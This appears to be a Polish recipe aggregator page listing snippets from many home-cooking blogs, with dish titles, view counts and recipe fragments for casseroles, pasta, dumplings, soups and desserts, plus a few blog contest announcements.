Pyszne domowe zapiekanki z mąki orkiszowej z oscypkiem i kiełbasą żywiecką od firmy Hańderek . Możemy przyrządzić je na szybki obiad lub kolacje,najlepiej smakują podane z sosem czosnkowym lub konfiturą żurawinowa. Składniki: Ciasto: 2 szklanki mąki orkiszowej jasnej 3/4 szklanki letniej wody 20 gram świeżych drożdży 1 łyżeczka soli morskiej 1 łyżeczka cukru brązowego 2 łyżki oleju Dodatkowo: 1 duży

Bajeczna Kuchnia
Placuszki z kaszy gryczanej 192

rozgrzać olej, nakładać niewielkie porcje masy. Smażyć z obu stron na złoty kolor. Podałam z śledziem z prawdziwymi grzybami w śmietanie, ale również dobrze smakują z kwaśną śmietaną lub sosem grzybowym, SMACZNEGO

magiczna kuchnia Kasi
Makaron z pieczonym kalafiorem a'la carbonara 209

chwilkę pokrywką. Temperatura od makaronu powinna być wystarczająca, aby podgrzać jajko i śmietanę. Jeśli tak się nie stanie możemy delikatnie podgrzać patelnie, uważając by jajko się nie ścięło. Jeśli sos jest zbyt gęsty wówczas dolewamy wodę z makaronu. Na końcu sprawdzamy czy jest dostatecznie doprawione i ewentualnie dorzucamy pieprz i sól. Smacznego

Kolizje Smaków
Roladki schabowe z oscypkiem 172

kroimy w plasterki i dokładamy do roladek. Całość podlewamy bulionem wymieszanym z łyżką mąki. Dusimy pod przykryciem około 30 minut na bardzo małym ogniu. W zależności od pożądanej gęstości sosu podlewamy jeszcze niewielką ilością wody lub bulionu lub nieco redukujemy. Serwujemy z gotowanymi ziemniaczkami i lekką sałatką

Pyry na Gaz
Zapiekanka z chleba 191

kostkę (2 na 2 cm). Do dużej miski wbić jajka, dodać śmietanę, żółty, tarty ser, sól, pieprz, paprykę, wymieszać. Na dno formy wsypać chleb, posypać pokrojonym mięsem, równomiernie polać sosem, na wierch zetrzeć mozzarellę. Wstawić do rozgrzanego piekarnika, piec 30-40 min, do momentu aż masa jajeczna zetnie się, a wierzch zapiekanki zarumieni się. Smacznego! Zapiekanka z chleba Zapiekanka

moj przepis na
Domowy Serek Topiony 215

nagniatać go. Po chwili dodajemy łyżeczkę masła i dalej energicznie całość mieszamy, tak długo aż ser całkowicie się rozpuści i nie będzie miał grudek ( będzie miał konsystencje gęstego, gładkiego sosu ) gdy to już nastąpi przelewamy szybko zawartość patelki, do przygotowanego wcześniej naczynia ( np. pudełeczko po serku mascarpone lub czymś innym). 3. Aby na wierzchu serka nie utworzył się kożuch, kładziemy

Gotowanie...to proste !
Zapiekanka ziemniaczana z cukinią, serem i dipem czosnkowym 176

Zapiekanka składa się głównie z ziemniaków i cukinii, otulonych delikatnym serem mozzarella oraz kilku 'podkręcaczy' smaku w postaci wędzonej papryki, czosnku i świeżego tymianku. Dopełnieniem całości jest wyborny sos czosnkowy na bazie jogurtu i majonezu. To bardzo proste, pyszne i ekonomiczne dla portfela danie, sycące i bardzo aromatyczne, które smakiem na pewno zadowoli Wasze kubki smakowe, jak również zachwyci swoim

Kraina Miodem Płynąca
Zakręcona pizza - pizza z ciasta francuskiego 245

taki sam bok zaznaczamy na długości ciasta i odcinamy pozostały kawałek. Tak samo robimy z drugim ciastem. Pomidory z puszki miksujemy blenderem z czosnkiem i oregano. Jedno ciasto smarujemy sosem pomidorowym i posypujemy żółtym serem. Przykrywamy drugim ciastem. Odcinamy rogi, tak by nadać ciasto kształt koła. Na środek ciasta kładziemy szklankę, lekko dociskając ją. Wycinamy 2 cm paski z ciasta

Aga w kuchni
Comber z jelenia z orzechami 156

Wstawić do piekarnika nagrzanego do 120 stopni i piec, aż mięso osiągnie wewnątrz temperaturę 56 stopni. Wyjąć i odstawić na 10 minut, aby odpoczęło. Podałam z puree z ziemniaków, sosem żurawinowym i dynią w zalewie octowej. Dziczyznę można kupić w sklepie  Dziki Trop .       zastawa

królestwo garów
Bliny pszenno-gryczane 173

mają swoje korzenie na wschód od naszej granicy. A to, jak kto je wykonywał, zależy od rodzinnego domu. Tak czy siak, bliny są pyszne. Ja podałam je z dodatkiem sosu waniliowego, który doskonale złamał smak blinów. Ale możecie podać je ze śmietaną czy tylko cukrem. Kto co lubi Ja użyłam do wykonania blinów mąki pszennej chlebowej i mąki gryczanej pełnoziarnistej

Mieszam w Garnku
Angielskie śniadanie 205

ładnie wygląda na zdjęciach, nieprawdaż? 50 min 2 os. składniki: 2 jajka 4 kromki chleba tostowego 4 plasterki wędzonego boczku 2 białe kiełbaski (parzone) 1 puszka fasolki w sosie pomidorowym HEINZ oliwa z oliwek masło sól i pieprz wykonanie: Rozgrzej piekarnik do 220 st. i piecz w nim kiełbaski przez ok. 20 min. My nacięliśmy kiełbaski w poprzek

Ania i Marcin gotują
Pikantne czerwone curry z ciecierzycy 192

rodzaju potrawy. Mieszanki przyprawowe curry o charakterystycznym żółto-brązowym kolorze zna chyba każdy, nie każdy lubi ten smak jednak. Natomiast curry jako potrawa to, najogólniej ujmując, rodzaj rzadkiego sosu-gęstej zupy. Coś w rodzaju potrawy jednogarnkowej o orientalnym smaku. Nie chcę się jednak wymądrzać za bardzo, bo nie jestem specjalistką od orientalnego jedzenia :) Dzisiaj zapraszam Was na curry z naszej

Codzienna kuchnia niecodzienna
Poważne problemy gastryczne psów i karma VET LIFE GASTRO INTESTINAL DOG. 239

Nietolerancja pokarmowa, zaburzenia gastryczne objawiające się burczeniem i przelewaniem w brzuchu, ulewaniem, odbijaniem, wzdęciami, wymiotami, a nawet chlustającymi wymiotami wiele godzin po przyjęciu posiłku, nieprzyjemny, kwaśny

Wypisz Wymaluj
Gulasz z boczniaków i pomidorów 135

smażyłem chwilę na dużym ogniu, aż płyn odparował i grzyby ładnie się zezłociły. Dodałem pomidory wraz z zalewą oraz rozmaryn. Doprawiłem solą i pieprzem i wędzoną papryką. Dusiłem, aż sos zgęstniał. Na koniec dodałem przeciśnięty ząbek czosnku oraz śmietanę. Wymieszałem. Można podać z gorącą kaszą gryczaną lub ryżem. Polecamy

R'n'G Kitchen
Marchewka glazurowana 167

marchew nie była zakryta). Przyprawiamy warzywkiem i gotujemy do miękkości jednocześnie całkowicie odparowując wodę. Dodajemy masło, pieprz, drobno posiekaną natkę pietruszki, miód i wszystko razem mieszamy aby powstały sos pokrył całą marchewkę i podsmażamy aż miód na marchewce zacznie się karmelizować. Jeżeli w garnku w którym gotowaliśmy może się nam przypalić to przed dodaniem pozostałych składników marchewkę przekładamy

Kulinarne życie
Żeberka w sosie własnym 144

Żeberka można przygotować na wiele sposobów, możemy je grillować, piec, przyrządzać na nich zupy a ja dziś je udusiłam z dodatkiem pasty carry. Żeberka w sosie własnym Składniki: - 1 kg żeberek wieprzowych - 2 marchewki - 2 cebule - czerwona pasta carry - mąka - sól - majeranek - natka pietruszki - ziele angielskie - liść laurowy - olej Przygotowanie Żeberka myjemy, kroimy na porcję nacieramy

Kulinarne życie
Tagliatelle z owocami morza 182

Tagliatelle to klasyczny włoski makaron z rejonu Emilia-Romagna, robiony jest jak świeży makaron, idealnie nadaje się do sosów z wołowiny, cielęciny lub innych. Ja postanowiłam zrobić z owocami morza. Tagliatelle z owocami morza Składniki: - makaron Tagliatelle 250 g - opakowanie owoców morza 200 g - 1 - 2 pomidory - 5 dkg wędzonego boczku - oliwa z oliwek - natka pietruszki - sól - płatki chilli

Kulinarne życie
Żeberka w Kuchnia i kropka! 170

Przepis na "Żeberka w sosie własnym" został opublikowany w Kuchnia i kropka! nr 32/2013

Kulinarne życie
Treściwa zupa koperkowa z pulpetami 168

Chciałam zrobić pulpety w sosie koperkowym ale w ostatnim momencie zmieniłam zdanie i zrobiłam zupę koperkową z pulpecikami, a że makaron był drobny to zalałam mniejszą ilością zupy i wyszło idealne połączenie. Treściwa zupa koperkowa z pulpetami Składniki: - 500 g łopatki - 250 g makaronu - pęczek koperku - 100 ml śmietany - jajko - łyżka natki pietruszki - bułka tarta - ząbek czosnku - olej - bulion Przygotowanie

Kulinarne życie
Imprezowy chrupiący kurczak 195

Kurczaka można przygotować na wiele sposobów, nadaje się wspaniale jako przekąska na imprezie podawana z sosem meksykańskim. A gdy nie chce nam się jechać do KFC możemy podobne przygotować sami. Imprezowy chrupiący kurczak Składniki: - 500 g skrzydełek - pierś z kurczaka - ok. 300 g mąki - przyprawa do kurczaka - papryka ostra - pieprz cayenne - sól - pieprz - Party Dip meksykański Prymat - 5-6 łyżek

Kulinarne życie
Makaron z tuńczykiem na zimno 206

upały, można jeść ją cały rok. Wspaniale nadaje sie na piątkowe spotkanie z przyjaciółmi. Makaron z tuńczykiem na zimno Składniki: - 250 g makaronu świderki Lubella - 1 puszka tuńczyka w sosie własnym - 1/2 puszki z kukurydzy - 3 łyżeczki kaparów - kilka czarnych oliwek - 4 suszone pomidor(z oliwy) - 200 g pomidorków koktajlowych(najlepiej mieszanka) - olej słonecznikowy - sól - pieprz Przygotowanie: Makaron gotujemy według

Kulinarne życie
Czulent 173

ustach. Na końcu dokładnie wszystko mieszamy i podajemy z kiszonymi ogórkami. Jeżeli po odwinięciu z koca zostanie trochę bulionu a wszystkie składniki będa miękkie, po wymieszaniu powstanie aksamitny sos który pasuje do kaszy a portawa nie będzie sucha. Życzę smacznego

Kulinarne życie
Kotlety ziemniaczane 306

ilości wg. uznania. Przyprawiamy solą, pieprzem i natką pietruszki i ponownie dokładnie mieszamy. Formujemy małe płaskie kotleciki, obtaczamy w bułce tartej i smażymy na gorącym oleju. Podajemy z sosem pieczarkowym lub pomidorowym. Życzę smacznego

Kulinarne życie
Rösti z polędwiczką 157

całość dusimy na wolnym ogniu do osiągnięcia kremowej konsystencji. W międzyczasie polędwiczkę kroimy w paski, doprawiamy solą i pieprzem, smażymy na gorącym oleju. Po usmażeniu przekładamy do przygotowanego sosu, i dusimy do miękkości minut. Na koniec dodajemy śmietanę 18 % i i posiekaną pietruszkę, doprawiamy solą i pieprzem, dusząc kilka minut. Ziemniaki myjemy i gotujemy w osolonej wodzie na pół twardo

Kulinarne życie
Ciasto chlebowe ala pizza 202

łyżki koncentratu pomidorowego - 150 g sera mozzarella - 100 g polędwicy sopockiej - 125 g boczku wędzonego - 120 g sera gorgonzola Przygotowanie: Ciasto chlebowe rozwijamy, smarujemy koncentratem pomidorowym ( może być sos pomidorowy smakowy). Posypujemy serem mozzarellą, układamy na niego kawałki pokrojonej w plastry polędwicy. Posypujemy pokrojonym w cienki paski boczkiem o długości ok. 1,5 cm ( można kupić już pokrojony boczek

Kulinarne życie
Czy produkty sojowe są zdrowe? 203

Mozna go jeść w postaci surowej lub gotowany w woku lub na patelni, wiedząc, że przesiąka smakiem i aromatem produktów, z którymi jest gotowany np cebula, czosnek, curry czy sosy. MISO to gęsta pasta ze sfermentowanej soi. Napoje sojowe (mleko sojowe) może zastąpć tradycyjne produkty mleczne na śniadanie. Ale istnieje ryzyko, że zostaly one podgrzane do bardzo wysokich temperatur. Stąd

MODA NA BIO
Spaghetti bolognese, sos 140

Macie swój ulubiony przepis na to danie. Składniki mogą się różnić, ale chyba wspólną cechą jest przygotowywanie tego sosu, trzeba go długo gotować na wolnym ogniu. Dzięki temu nabiera smaku i ma odpowiednią konsystencję. 0,5 kg mięsa mielonego ( wołowina, wieprzowina ) 2 marchewki 1 cebula 2 – 3 łodygi selera naciowego puszka pomidorów

Polska Zupa
Panierowane kluseczki z kaszy manny 590

Smażymy na rozgrzanym oleju na rumiany kolor i odsączamy na papierowym ręczniku. Posypujemy cukrem kryształem. Kluseczki najlepiej podać od razu na ciepło. Zamiast cukru można użyć ulubionego dżemu lub sosu owocowego

Kuchnia w czekoladzie
Owsianka z jagodami i jogurtem 179

Kolejna propozycja na sycące śniadanie :) Tym razem z musem jagodowym, przygotowanym z mrożonych zapasów. Zmiksowane z miodem i jogurtem utworzą pyszny sos, którym polejemy owsiankę :) Propozycja dla tych, którym znudziły się jabłka i banany jako dodatek do śniadań :) Składniki: 4 łyżki płatków owsianych 200 ml mleka 100 g jagód 1/2 łyżeczki miodu 3 łyżeczki jogurtu naturalnego Płatki umieszczamy w garnuszku

Chocolate Muffin Blog
Maminkowe zapiekanki z mięsem lub bez, z warzywami i jajkiem 223

nimi warzywa w foremkach. Wstawiamy do piekarnika nagrzanego do temperatury 170 st. C na ok. 30 minut. Po upieczeniu, po 2-3 minutach wyjmujemy z foremek. Doskonale smakują z sosem czosnkowym. Smacznego

Maminek kulinarny
Kluski Śląskie - gumowe 352

ciasto na kluski nam się złączyło. Masa nie powinna być ani za twarda, ani za luźna. Wyrabiamy ciasto i formujemy kulki. Można dla tradycji zrobić przysłowiową dziurkę na sos :) Do gotującej się osolonej wody, wrzucamy kluski. Kiedy woda się zagotuje, a kluski odejdą od dna, polewamy je zimną wodą. Zmniejszamy palnik i gotujemy nasze kluski aż podwoją swoją objętość

W Moim Magicznym Domu
Kilka pomysłów na... 192

wiele kombinacji ;) Orzechowo-dyniowe curry z tofu i groszkiem, ryż, kalafior (vegan) Batatowe curry z kalafiorem i groszkiem, ryż (vegan) Jaglano-dyniowy burger w dom. bułce dyniowej*, z musztardowym sosem z tahini (vegan) *z mąką dyniową i pure *na dole posmarowane pure dyniowym  pieczone "pierogi" z farszem z ciecierzycy i suszonych pomidorów z camembertem  Pieczony kawowy jagielnik

More food, love and dreams
Kavarma – bułgarski gulasz wieprzowy 236

zwykle papryczkę chili z poniższego przepisu zastępuję chili w proszku. Łatwiej mi wtedy kontrolować ostrość dania. Wy zróbcie, jak uważacie :) Przepis zmodyfikowałam również o pomidory w puszce, dzięki którym sos jest bardziej gęsty. Jedno jest pewne – to danie które koniecznie trzeba wypróbować. Jest lekkie, a jednocześnie konkretne, a czerwone wino podkreśla smak warzyw towarzyszących wieprzowinie. Składniki: 1 kg wieprzowiny (karkówka

Trzeci talerz
Pasta z pieczarek 177

Składniki (na 10 porcji) - ½ kg pieczarek, - 3 łyżki orzechów włoskich (ok. 30g), - 3 łyżki słonecznika (ok. 30g), - 1 cebula (ok. 80g), - łyżka sosu sojowego, - łyżeczka oleju rzepakowego (ok. 5g), - sól i pieprz. Sposób przygotowania 1. Pieczarki dokładnie myjemy i kroimy na plasterki 2. Cebulę kroimy na drobno i podsmażamy na oleju rzepakowym. 3. Do cebuli dodajemy pieczarki i całość dusimy

Zdrowe odżywianie w pięciu smakach
Krem z batatów i brokułów 186

szklanka brokułów (ok. 100g), - 1 cebula (ok. 80g), - 1 łyżka oleju rzepakowego (ok. 10g), - 1 marchewka (ok. 45g), - przyprawy: sól, pieprz, kurkuma, tymianek, słodka, ostra i wędzona papryka, łyżeczka sosu sojowego, - 2 łyżki pestek dyni (ok. 20g). Sposób przygotowania 1. Obieramy marchewkę i batata. 2. Cebulę szklimy na oleju rzepakowym. 3. Cebulę zalewamy 3 szklankami wody i dodajemy pokrojone warzywa

Zdrowe odżywianie w pięciu smakach
Kurczak z pomidorkami i makaronem 157

praskę czosnek i kurczaka. 4. Całość zagęszczamy jogurtem greckim.             5. Makaron gotujemy al dente i podajemy z sosem. Kurczak z pomidorkami i makaronem jest bogaty w: - likopen (pochodzący z pomidorów), który działa przeciwnowotworowo, - substancje przeciwbakteryjne, pochodzące z cebuli i czosnku. Wartość odżywcza jednej porcji: Porcja waży

Zdrowe odżywianie w pięciu smakach
Pizza domowa na puszystym spodzie. 200

papryką jeśli nie lubimy ostrego). Wszystko dokładnie mieszamy. Polędwicę i salami kroimy w paski, pieczarki myjemy - kroimy w talarki.  Na przygotowane i przełożone na blachę ciasto rozsmarowujemy sos pomidorowy i kładziemy pieczarki, polędwicę, salami i sypiemy ser (można dodać inne składniki które akurat lubimy). Pizzę zapiekamy w nagrzanym do 180 stopni z termoobiegiem przez 15-20 minut

Moje-pitraszenie
Bananowe pączusie 637

znikają szybciej niż inne dotychczas. Błyskawicznie się je robi a potem pysznie chrupią pod zębem. Polecam smażcie. Można je posypać cukrem pudrem ale można je również polać miodem czy sosem czekoladowym. Bananowe pączusie. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Placuszki z płatków owsianych bez jajek 239

patelni rozgrzać masełko lub olej i za pomocą dużej łyżki wlać ciasto, tworząc kilka okrągłych placuszków. Smażyć z dwóch stron na złoty kolor. Podawać ciepłe, polane sokiem wiśniowym lub sosem klonowym. Można obsypać cukrem pudrem. Pyszne byłyby z świeżymi poduszonymi owocami. Zdrowo i pysznie. Thermomix- wrzucić płatki do naczynia miksującego, obroty 10, czas 10 sek – dodać pokrojone banany, sól

Kuchnia Pokoleń
panko z makaronem 202

Wykonanie Rozgrzać piekarnik do 170 stopni C.Masło rozpuścic w rondelku ,dodac mąke i energicznie mieszac ,aby nie powstały grudki.Dodac mleko,sól do smaku,pieprz i reszte skladników.Powstały sos odstawiamy pod przykryciem.Ugotowany makaron al dente,polączyc z gotowym cieplym sosem.Wszystko przełożyc do naczynia żaroodpornego.W rondelku roztopic maslo,dodac panko i sery.Wszystko dokładnie wymieszać i wyłożyc na wierzch makaronu

w mojej kuchni
Tacos z indykiem, fasolą i kukurydzą 175

czosnek, dodać odsączoną kukurydzę,fasolę bez zalewy i pomidory. Gotując na średnim ogniu, mieszać do zagotowania, zmniejszyć ogień i dusić ok 20 minut. Dodać mięso i ryż. Wymieszać. Jeśli sos będzie za rzadki można go odparować lub dodać więcej ryżu.  Tacos przygotować według instrukcji na opakowaniu. Nadziać farszem i ułożyć na talerzu. Gotowe danie można podać z kleksem kwaśniej

Chocolate Muffin Blog
Omlet ze spaghetti 237

się zrumieni. 2. Jajka roztrzepać z wodą i przyprawami, wylać na makaron, poczekać chwilę i przekręcić na drugą stronę. Smażyć pod przykryciem aż spód się przyrumieni. Podawać z ulubionym sosem lub keczupem

Kto ugości moich gości?
Ryba po grecku 218

farsz: 2 duże marchewki  2 średnie cebule 1 mały korzeń pietruszki 3 łyżki koncentratu pomidorowego 2 liście laurowe 4 ziarenka ziela angielskiego sól, pieprz *dodatkowo dodałam dwie łyżki sosu meksykańska salsa dla dodania ostrzejszej nuty, ale nie jest to konieczne jeśli ktoś nie lubi :) Przygotowanie: Filety rozmrozić, opłukać w wodzie. Pokroić na mniejsze kawałki (ja pokroiłam na około

Tagebuch po polsku
smaczny warzywny gulasz z indyka z czubricą i awokado... 235

seler pokrojony obieraczką "julienne", awokado i wymieszać wlać wodę i dodać czubricę, pieprz, kucharka, ziele angielskiei pod przykryciem dusić do miękkości mięsa śmietanę wymieszać z mąką, wodą i zagęscić sos mieszając, dodać przyprawę w płynie do smaku, natkę pietruszki i tylko zagotować podawać gulasz z czym się lubi - gulasz jest aromatyczny, syty, smaczny.................SMACZNEGO

W Mojej Kuchni Lubię
Kurczak faszerowany ryżem i warzywami 262

Gotowego kurczaka umieścić w żaroodpornym naczyniu wysmarowanym olejem. Wkładamy do nagrzanego piekarnika do 200 °C i pieczemy przez 1,5 godziny. W trakcie pieczenia podlewamy kurczaka wytworzonym podczas pieczenia sosem

magiczna kuchnia Kasi
"Ryby sa super" - wyniki konkursu 185

chyba zmienię serwis. Komisja w składzie ja i Przemek wybraliśmy 2 smakowite propozycje na dania z ryb. Książki wędrują do:  Sylwia Drożdż za "Ziemniaczaną roladę z rybą w sosie porowym"  oraz  Joanna Seta-Pryjomska za "Pieczoną doradę z czosnkiem i figami na ruszcie z selera naciowego" Serdecznie gratuluję i czekam na dane adresowe do wysyłki

Moje Małe Czarowanie
Kokosowy Pudding z Tapioki z Musem Jagodowo - Pomarańczowym 247

jeszcze napiszę Wam, że ta cała tapioka jest bardzo wydajna, byłam w szoku. Jak niedużo perełek potrafi zagęścić taką ilość płynów. To niesamowite! Można nią zagęszczać inna dania, np. sosy. Sama tapioka nie ma żadnego smaku. Ugotowana jest mięciutka i kuleczki takie jakby żelowe. Sam deser jak dla mnie smakuje fenomenalnie! Taki delikatny i aksamitny, a przy tym lekki

Blondynka Gotuje
Quiche z gruszkami i miodowym kozim serem 252

czasie gdy quiche się piecze, do małego rondelka wlewamy ocet balsamiczny i miód. Gotujemy na małym ogniu do czasu, aż większość odparuje i pozostanie ok. 1/3 płynu. Studzimy sos. Gdy tarta się upiecze, polewamy nim delikatnie gruszki. Tartę dekorujemy gałązkami tymianku, kroimy na ukośne plastry tak, aby każdemu przypadła połowa gruszki. Wpis zawiera lokowanie produktu Post Quiche z gruszkami

Poezja smaku
Kąski kurczaka z sezamem 203

piekarnika i cieszyć się daniem na ciepło. :-) Jeśli mamy więcej czasu lub niesprawny piekarnik możemy je usmażyć, będą równie dobre, choć mniej zdrowe. Kąski kurczaka z sezamem podajemy z sosami lub keczupem. 2 duże filety z kurczaka 1 mały jogurt naturalny 1 jajko 1 łyżeczka słodkiej papryki 1 łyżeczka ostrej papryki 1/2 szklanki bułki tartej 1/2 szklanki sezamu sól, pieprz

Szefowa kuchni
Naleśniki z mąki razowej 271

zaczynamy smażyć naleśniki. Gotowe naleśniki smarujemy ulubionym nadzieniem i zajadamy. Moje ulubione to te z serkiem na słodko i dżemem wiśniowym. Naleśniki z mąki razowej Możemy polać je dodatkowo sosem karmelowym lub czekoladowym. Mniam :) Naleśniki z mąki razowej

Pyza i Surówka
Farfalle ze szpinakiem i kurczakiem 176

kurczakiem i szpinakiem. Bardzo prosty i szybki do przygotowania.   A jego smak zachwyci nawet tych, którzy nie przepadają za szpinakiem. Makaron możemy dać dowolny.   A lubiący sosy śmietanowe pod koniec gotowania mogą dolać śmietany najlepiej 30%.   Ja robiąc to danie robię zawsze dwie wersje – ze śmietaną dla męża i bez śmietany dla mnie.   Obie są pyszne

Passion of Cooking
Pierś z kaczki z pieczarkami ziołowymi z papryczką chilli i czosnkiem 195

mamy już gotową pierś z kurczaka odkładamy ją żeby chwilę odstała i kroimy na plasterki czekamy jak soki wyciekną, przynajmniej ja tak wolę i układamy na talerzu i polewamy sosem z pieczarek i pieczarkami. Pierś z dodatkiem pieczarek idealnie pasuje z batatami z tego przepisu  i konfitura z czerwonej cebuli z tego przepisu

Piekielna Kuchnia Pati
Wyniki konkursu - Włoski wieczór z Lidlem 176

Kosze Lidla wędrują do:  Ada Ada i przepis na pizzerinki Małgorzata giemerrie@gmail.com Sałatka z rukolą z marynowana mozzarellą i gruszką Agnieszka Klaus Cannelloni ze szpinakiem i szynką w sosie serowym  Kochane macie 3 dni na przesłanie swoich danych adresowych razem z telefonem( żeby kurier mógł się do Was dodzwonić :) na adres kloss.katarzyna@gmail.com Jeżeli w tym czasie nie będzie

Niezły Młynek
KRÓLIK W SOSIE ŚMIETANOWYM 167

maśle zeszklij cebulę i dodaj do królika. ROSÓŁ Z KRÓLIKA DODAJ do garnka i duś około godziny. Po tym czasie wyjmij królika i z powstałego wywaru i śmietany zrób sos. Śmietanę przed dodaniem najlepiej zahartować. W razie potrzeby dopraw do smaku. PODAWAJ Z ZIEMNIAKAMI lub kluskami śląskimi i oczywiście buraczkami z chrzanem. Smacznego

Kuchnia bezglutenowa Loli
Orientalna surówka 239

łyżek oleju (np. ryżowy; NIE oliwa z oliwek ) 2-3 łyżki octu ryżowego (ewentualnie octu winnego) 1,5-2 łyżki syropu z agawy 2 łyżki sosu sojowego 1 łyżka oleju sezamowego 2 szczypty świeżo mielonego pieprzu czarnego/zielonego   Kapustę drobno kroimy. Marchewkę ścieramy na grubych oczkach tarki lub kroimy w małe słupki. Liście szpinaku również dość drobno

Simple Dish
Pierś indyka z wędzonym serem i pieczarkami 190

zamrażarce, aż w końcu się za nią zabrałam.  W towarzystwie wędzonego sera, pieczarek i w boczku stanowiła pyszny dodatek do drugiego dania. Podana z ziemniaczkami, surówką i sosem pieczarkowym smakowała mi najbardziej.  Składniki: ok 1 kg piersi z indyka 2 łyżki posiekanej natki pietruszki 6-8 pieczarek (kapelusze) 250g wędzonego sera ok 150-200g wędzonego boczku

Kuchnia w czekoladzie
Amore Mio - Warsztaty z Karolem Okrasą i Lidlem 147

Risotto Milanase z mascarpone i pesto bazyliowym Wszystko smakowało wybornie, mieliśmy jeszcze jedno danie do wykonania, niestety czas nam na to nie pozwolił, jednak chętnie wykonam Makaron z sosem Carbonara w domu na najbliższy obiad.  Tydzień Włoski w Lidlu trwa, aż dwa tygodnie :) Dziękujemy Lidl za tak wyjątkowe warsztaty

Niezły Młynek
Kluski śląskie 142

Kluski śląskie stanowią doskonały dodatek do sosów mięsnych i nie tylko. Zawsze robię je w większej ilości i zamrażam. Składniki: 1 kilogram ugotowanych ziemniaków 1,5 szklanki mąki ziemniaczanej 2 jajka Szczypta soli Dodatkowo: Mąka do podsypania Sól Olej Sposób przygotowania: Ugotowane ziemniaki mielimy lub przeciskamy przez praskę. Dodajemy mąkę ziemniaczaną, jajka i sól. Zagniatamy gładkie ciasto. Formujemy małe okrągłe

Bajeczna Kuchnia
Bitki wieprzowe w sosie cebulowym 172

pierz i gotujemy do miękkości mięsa. Cebulę obieramy, kroimy w pióra, przekładamy na patelnię po smażeniu mięsa, smażymy do momentu aż cebula się zeszkli, przekładamy do garnka z mięsem. Sos zagęszczamy mąką rozmieszaną w niewielkiej ilości wody, doprawiamy do smaku solą, pieprzem i przyprawą maggi. Dodajemy przeciśnięte przez praskę ząbki czosnku. Bitki podajemy z kluskami śląskimi i dowolna surówką

Bajeczna Kuchnia
MUSZELKI Z ŁOSOSIEM 187

firmy RAFEX .  Mieszanka pieprzu czerwonego, czarnego i zielonego daje wspaniały aromat i intensywność smaku potrawie.  Charakteryzuje się wyrazistym i korzennym smakiem. Polecam do przyrządzenia wszelkiego rodzaju mięs, sosów, ryb, marynat oraz sałatek.   SMACZNEGO

Prosto i Smacznie z Anetą
Mini pączki z jagodami / Mini blueberry beignets 216

other side. Remove to paper towel. When ready to serve, top with plenty of powdered sugar. Enjoy! Poniżej przypominam też moje inne karnawałowe słodkości: Pączki luksusowe Churros z sosem czekoladowo-kawowym   Pieczone pączki nadziewane jabłkami z syropem klonowym   Pączki hiszpańskie z lukrem rumowym Oszukane mini doughnuts

karmelowy
Sałatka z selera naciowego z dodatkiem bakalii 207

skórki i pokroić w grubszą kostkę. Szczypiorek drobno posiekać. Ziarna słonecznika uprażyć na złoto na gorącej patelni - w ten sposób oddadzą więcej smaku i aromatu . Dołożyć bakalie. Przygotować sos z majonezu, jogurtu i podstawowych przypraw, po czym wymieszać go z resztą produktów w misce.  Całość odstawić do lodówki na co najmniej godzinę, dla "przegryzienia się" składników. Zajadać ze smakiem

Grunt to przepis!
Pieczony łosoś z kiszoną kapustą curry 278

zeszklą dodajemy pastę i przyprawę curry. Smażymy razem na małym ogniu prze pół minuty.  Dodajemy mleczko kokosowe, śmietankę i imbir. Gotujemy często mieszając przez około 5 minut, aż sos zgęstnieje. Dodajemy posiekaną kapustę i dusimy następne 5 minut. Doprawiamy solą, pieprzem, limonką i miodem. Mieszamy i przekładamy na talerze. Na kapuście układamy upieczone filety z łososia. Całość posypujemy siekaną

Moje Kuchenne Rewelacje
Conchiglioni w sosie pomidorowym 151

się, że z moją pomocą przygotujesz świetny obiad lub kolację np. z okazji zbliżających się Walentynek. To co gotowy, żeby zaskoczyć swoją drugą połówkę? Conchiglioni z mięsem mielonym i sosem pomidorowym pod chrupiącą, serową kołderką Czytaj więcej » Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Wielkanocny klops z jajkiem 370

przestudzenia, a następnie wylewamy soki z foremki i wyjmujemy jeszcze ciepły klops odwracając foremkę np. na deskę do krojenia. Podajemy na ciepło lub na zimno – sam lub z sosem pieczarkowym. Konkurs trwa do 29.01.2016 r. Post Wielkanocny klops z jajkiem pochodzi z bloga Poezja smaku

Poezja smaku
Rustykalne pizze z tuńczykiem i pieczarkami 221

kaparami połączone. Pieprzem, czosnkiem niedźwiedzim doprawione  i w piekarniku upieczone. Każda pizza to 1 porcja dla każdego i życzę wszystkim smacznego.   Składniki: farsz: 1 puszka tuńczyka w sosie własnym – 185 g, 1 łyżka kapary, 100 g pieczarek, szczypta suszonego czosnku niedźwiedziego, pieprz czarny świeżo mielony do smaku, 40 g startego sera żółtego, ciasto:  15 g świeżych drożdży

Moniki Smakołyki
Ciasto ptysiowe – ptysie, eklerki i churros 354

głębokim tłuszczu). W daniach wytrawnych użyte jest w Pommes dauphine (puree ziemniaczane zmieszane z ciastem ptysiowym i upieczone w formie malutkich kulek, podawane jako dodatek do mięs z sosami) i Gougère (kulki ciasta ptysiowego z serem Gruyère lub ementalerem). SKŁADNIKI 1 szklanka (250ml) mąki pszennej typ 500, 550 lub 650 1/2 szklanki (125ml) mleka 1/2 szklanki (125ml) wody 100g masła

Karo in the Kitchen
Udka z kurczaka faszerowane porem i słonecznikiem 278

Przygotowane udka układam w naczyniu żaroodpornym. Skrapiam olejem. Naczynie przykrywam. Piekę 1,5 godziny w temperaturze 180 stopni. W czasie pieczenia mięso kilkakrotnie polewam wytworzonym w czasie pieczenia sosem

Tradycyjna kuchnia Kasi
DOMOWY MAJONEZ 159

Majonez domowy, jeden z podstawowych sosów w kuchni. Pierwotnie wyrabiany z oliwy i żółtek, dziś bardziej popularna jest wersja z olejem, który jest mniej wyrazisty, za to smaku dodaje musztarda. SKŁADNIKI: - jajko (sparzone, w temperaturze pokojowej) - 400 ml oleju rzepakowego - 1 łyżka białego octu winnego - 1 łyżka musztardy - 1/2 łyżeczki soli - 1/2 mielonego białego pieprzu JAJKO, OCET, MUSZTARDĘ włóż

Kuchnia bezglutenowa Loli
Risotto z szafranem - przepis 251

wlaniem, inaczej ryż stwardnieje i już nie wchłonie bulionu. Risotto w całości jest pięknie kremowe o słonecznym żółtym kolorze. Ryż taki podaję z piersiami z kurczaka smażonym we własnym sosie z nutą cytryny. Jeżeli chcę, aby risotto było bardziej kremowe, dodaję starty parmezan. Takie risotto robię ok 15-20 minut, w zależności ile użyłam ryżu. Może i stałe mieszanie

Basia w kuchni
Pierogi z soczewica, calkiem jak z miesem :) 224

